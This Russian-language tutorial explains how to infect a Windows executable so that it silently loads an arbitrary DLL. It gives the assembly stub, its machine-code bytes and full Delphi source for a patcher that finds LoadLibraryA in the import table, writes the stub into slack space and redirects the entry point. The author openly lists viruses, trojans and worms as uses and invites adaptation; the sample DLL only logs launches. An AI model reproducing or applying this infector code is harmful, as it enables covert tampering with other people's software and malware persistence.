Иногда появляется необходимость в том,
что бы какая-либо программа запускалась
параллельно с другой или программа
подгружала нашу DLL’ку. Это может
потребоваться в широком спектре задач:
начиная от простого виря/трояна/worm’а и
заканчивая какой-нибудь прогой для
слежения за трафиком, или даже можно
сделать проверку пользователя – будем
спрашивать пароль пользователя, и если он
правилен - запускать прогу (при желании
можно прогу можно ещё и зашифровать, а при
правильном пассе - расшифровывать). Так что
вариантов применения этой фишки много. Для
реализации задуманного мы воспользуемся
внедрением своего кода в “жертву-софтину”.
Этот код будет маленьким и не будет менять
размер “жертвы”. Он будет всего лишь
подгружать нашу дллку. При запуске
модифицированной программы управление
сначала получит наш код, а потом управление
получит (или не получит) исходная программа
(возможно сильно модифицированная :)).
Для начала определимся с внедряемым кодом.
Он будет передавать функции LoadLibraryA имя
подгружаемой DLL’ки, вызывать LoadLibraryA и
запускать программу (прыжок на Original Entry Point).
Пусть это будет что-то вроде этого:
db 0E8h
dd 00000000 // это call $+5; Он
нужен для получения регистра EIP
pop ecx // получаем EIP
add ecx,13 // Получаем адрес
имени DLL’ки
push ecx // передаём его в
качестве параметра LoadLibraryA
call [$00403344] // вызов
LoadLibraryA. (адрес вызова мы будем
модифицировать в зависимости от программы)
jmp ProgStart
db 4Dh db 79h db 4Fh db 77h db 6Eh db 2Eh db 64h db 6Ch db 6Ch db 0h //
здесь имя DLL’ки. (в нашем случае MyOwn.dll + #0)
ProgStart:
db 0e9h db 0 db 0 db 0 db 0 // это
прыжок на Original Entry Point. (в дальнейшем тоже
модифицируем).
Этот код нужно откомпилить, что бы получить
машинный код:
:004033AC E800000000 call 004033B1
:004033B1 59 pop ecx
:004033B2 83C10C add ecx, 0000000C
:004033B5 51 push ecx
:004033B6 E889FFFFFF Call 00403344 // этот
адрес мы модифицируем. (LoadLibraryA)
:004033BB EB0A jmp 004033C7
:004033BD 4D dec ebp
:004033BE 794F jns 0040340F
:004033C0 776E ja 00403430
:004033C2 2E BYTE 02eh
:004033C3 64 BYTE 064h
:004033C4 6C insb
:004033C5 6C insb
:004033C6 00E9 add cl, ch
:004033C8 00000000 BYTE 4 DUP(0)
Что ж… Теперь можно перейти к написанию
модифицирующей части. Немного теории:
требуется открыть модифицируемую прогу,
найти в её таблице импорта указатель на
LoadLibraryA, найти свободное место, в которое мы
запишем код (в 95% программ есть “целинные
участки” в секциях .text, CODE, DATA или .data).
Поменять Original Entry Point на наш.
Вот пример кода:
program Exefiles;
{$APPTYPE CONSOLE}
uses
windows, ImageHlp;
type IMAGE_IMPORT_DESCRIPTOR=record //
запись в таблице импорта
OriginalFirstThunk: DWORD;
TimeDateStamp : DWORD;
ForwarderChain : DWORD;
Name : DWORD;
FirstThunk : DWORD;
end;
TOE=record // структура
секции
Name:array[0..7] of char;
SizeOfSect:dword;
RVA:dword;
RealSize:dword;
RVAinPE:dword;
a:array[0..11] of byte;
Attr:dword;
end;
const FuncName='LoadLibraryA';
var s:array[0..12] of char;
h:integer;
oe:toe;
_:IMAGE_DOS_HEADER;
IOH:IMAGE_NT_HEADERS;
__,hel:cardinal;
LLA:dword;
a,i:shortint;
iid: IMAGE_IMPORT_DESCRIPTOR;
SavedRVA,NewRVA:cardinal;
mas:array[0..11] of byte=($E8,0,0,0,0,$59,$83,$C1,$0d,$51,$FF,$15); // наш
код
mas1:array[0..18] of byte=($EB,$0A,$4D,$79,$4F,$77,$6E,$2E
,$64,$6C,$6C,0,$90,$90,$90,$90,$90,$90,$E9); // я
дополнил код nop’ами. (Что б в Win32Dasm всё видно
было)
// За RVA2Offset & Offset2RVA
спасибо R4D][ 🙂
function RVA2Offset(hFile: THANDLE;RVA: Cardinal): Cardinal;
var
Base: Pointer;
ISH : PIMAGESECTIONHEADER;
INH : PIMAGENTHEADERS;
hFM : THANDLE;
begin
Result:=0;
hFM:=CreateFileMapping(hFile,nil,PAGE_READONLY,0,0,nil);
Base:=MapViewOfFile(hFM,FILE_MAP_READ,0,0,0);
if Base=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
INH:=ImageNTHeader(Base);
if INH=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
ISH:=ImageRVAToSection(INH,Base,RVA);
if ISH=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
Result:=RVA-ISH.VirtualAddress+ISH.PointerToRawData;
UnMapViewOfFile(Base);
CloseHandle(hFM);
end;
function Offset2RVA(hFile: THANDLE;Offset: Cardinal): Cardinal;
var
Base: Pointer;
ISH : PIMAGESECTIONHEADER;
INH : PIMAGENTHEADERS;
hFM : THANDLE;
x : Integer;
begin
Result:=0;
hFM:=CreateFileMapping(hFile,nil,PAGE_READONLY,0,0,nil);
Base:=MapViewOfFile(hFM,FILE_MAP_READ,0,0,0);
if Base=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
INH:=ImageNTHeader(Base);
if INH=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
ISH:=PIMAGESECTIONHEADER(DWORD(INH)+sizeof(IMAGE_NT_HEADERS));
for x:=0 to INH.FileHeader.NumberOfSections do
begin
if (Offset>=ISH.PointerToRawData) and (Offset<=ISH.PointerToRawData+ISH.SizeOfRawData)
then break;
inc(ISH);
end;
Result:=Offset+ISH.VirtualAddress-ISH.PointerToRawData;
UnMapViewOfFile(Base);
CloseHandle(hFM);
end;
begin
Writeln('Enter Exe-File name');
Readln(s);
h:=Createfile(s,GENERIC_READ or GENERIC_WRITE, 0,nil,OPEN_EXISTING,0,0);
if h=-1 then begin
Writeln('Wrong handle');
Readln;
exit;
end;
ReadFile(h,_,sizeof(_),__,nil);
SetFilePointer(h,_._lfanew,0,FILE_BEGIN);
ReadFile(h,IOH,sizeof(IOH),__,nil);
SavedRVA:=Rva2offset(h,ioh.OptionalHeader.AddressOfEntryPoint);
if ioh.Signature<>$00004550 then
begin
writeln('Wrong magic');
readln;
CloseHandle(h);
exit;
end;
__:=rva2offset(h,ioh.OptionalHeader.DataDirectory[1].VirtualAddress);
_._lfanew:=SetFilePointer(h,__,0,FILE_BEGIN);
iid.FirstThunk:=1; // лезем в чанки искать LoadLibrayA
while (s<>'LoadLibraryA')and(iid.FirstThunk<>0) do begin
ReadFile(h,IID,sizeof(IID),__,nil);
inc(_._lfanew,__);
__:=rva2offset(h,IID.Name);
SetFilePointer(h,__,0,FILE_BEGIN);
Readfile(h,s,12,__,nil);
if (s='kernel32.dll')or(s='KERNEL32.dll') then begin //
Borland и Microsoft пишут kernel32 каждый по своему
hel:=rva2offset(h,IID.FirstThunk);
repeat
SetFilePointer(h,hel,0,FILE_BEGIN);
Readfile(h,LLA,4,__,nil);
inc(hel,__);
__:=rva2offset(h,LLA)+2;
SetFilePointer(h,__,0,FILE_BEGIN);
Readfile(h,s,12,__,nil);
until (s=FuncName)or(LLA=0);
end;
SetFilePointer(h,_._lfanew,0,FILE_BEGIN);
end;
if s<>FuncName then exit;
SetFilePointer(h,0,0,FILE_BEGIN); // нашли
адрес LoadLibraryA'a и теперь можем (и даже должны
:)) записать код в файл.
readFile(h,_,sizeof(_),__,nil);
SetFilePointer(h,_._lfanew+sizeof(ioh),0,FILE_BEGIN);
oe.SizeOfSect:=1;
while (((oe.Name<>'DATA') and (oe.Name<>'.text')and (oe.Name<>'CODE')
and (oe.Name<>'.data'))or (oe.RealSize-oe.SizeOfSect<40))and (oe.SizeOfSect<>0)
do // Будем помещать код
в секции данных или кода. Так же нам важен и
размер неиспользуемой части секции. (что б
наш код поместился)
readfile(h,oe,sizeof(oe),__,nil);
if oe.Name='' then exit;
newRva:=SetFilePointer(h,rva2offset(h,oe.RVA)+oe.SizeOfSect,0,FILE_BEGIN); // Теперь
всё формируем и пишем
Writefile(h,mas,sizeof(mas),__,nil);
hel:=Offset2Rva(h,hel)+ioh.OptionalHeader.ImageBase -4;
Writefile(h,hel,sizeof(hel),__,nil);
Writefile(h,mas1,sizeof(mas1),__,nil);
ioh.OptionalHeader.AddressOfEntryPoint:=ioh.OptionalHeader.AddressOfEntryPoint-Offset2Rva(
h,SetFilePointer(h, 0, 0, FILE_CURRENT)+4);// вычисляем
значение для прыжка. Оно равно разности
между последующим RVA и Original RVA. Writefile(h,ioh.OptionalHeader.AddressOfEntryPoint,sizeof(ioh.OptionalHeader.AddressOfEntryPoint),__,nil);
// теперь записываем
все модификации.
newrva:=Offset2Rva(h, newrva);
SetFilePointer(h, 0, 0, FILE_BEGIN);
readFile(h, _, sizeof(_), __, nil);
SetFilePointer(h, _._lfanew, 0, FILE_BEGIN);
ioh.OptionalHeader.AddressOfEntryPoint:=newrva;
Writefile(h, ioh, sizeof(ioh), __, nil);
CloseHandle(h);
end.
Код DLL’ки же зависит от того, что мы пишем. Я
для примера написал DLL’ку, которая ведёт
лог запусков программы:
library MyOwn;
uses
windows, sysutils;
var f:text;
begin
assignfile(f, 'test.txt');
if fileexists('test.txt')then append(f)
else rewrite(f);
writeln(f, datetimetostr(now));
closefile(f);
end.
Вот и всё! Этот пример каждый может
модифицировать под свои нужды. Если есть
вопросы/пожелания/комментарии – пишите.